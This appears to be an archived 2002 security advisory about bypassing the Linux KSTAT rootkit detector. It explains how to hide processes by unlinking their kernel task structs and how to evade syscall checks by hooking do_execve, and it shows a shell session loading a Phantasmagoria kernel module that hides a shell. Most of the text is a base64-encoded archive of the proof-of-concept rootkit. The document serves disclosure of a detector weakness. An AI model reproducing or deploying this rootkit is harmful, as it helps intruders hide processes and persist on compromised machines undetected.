TUCoPS :: Linux :: General :: lnx5673.htm

KSTAT bypass
9th Sep 2002 [SBWID-5673]
COMMAND

	
		KSTAT (and maybe others) bypass
	
	

SYSTEMS AFFECTED

	
		?
	
	

PROBLEM

	
		Dark Angel [dark0@angelfire.com] says :
		

		Is possible to hide processes to kstat removing theirs structs from  the
		kernel's task_struct list. Is also possible to bypass kstat's checks  on
		syscalls: if you modify a sub-function instead of the call (for  example
		do_execve instad of sys_execve) the effects is the same, but  for  kstat
		is all okay:
		

		Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat

		 686	  403	  0	  0	  kstat

		Shoikan:~/Phantasmagoria# ./kstat -S             

		Probing System Calls FingerPrints... No System Call Modified!

		Shoikan:~/Phantasmagoria# insmod Phantasmagoria.o

		Shoikan:~/Phantasmagoria# ./Heider 403(the current shell pid) HIDE

		Hiding successfull

		Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat

		Shoikan:~/Phantasmagoria# ./kstat -S

		Probing System Calls FingerPrints... No System Call Modified!

		Shoikan:~/Phantasmagoria# 

		

		Attached there is an english translation + proof of concept code of  the
		original paper published on www.s0ftpj.org
		

		Content-Type: application/x-gzip; name="Phantasmagoria.tgz"

		Content-Length: 17658

		Content-Transfer-Encoding: base64

		

		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

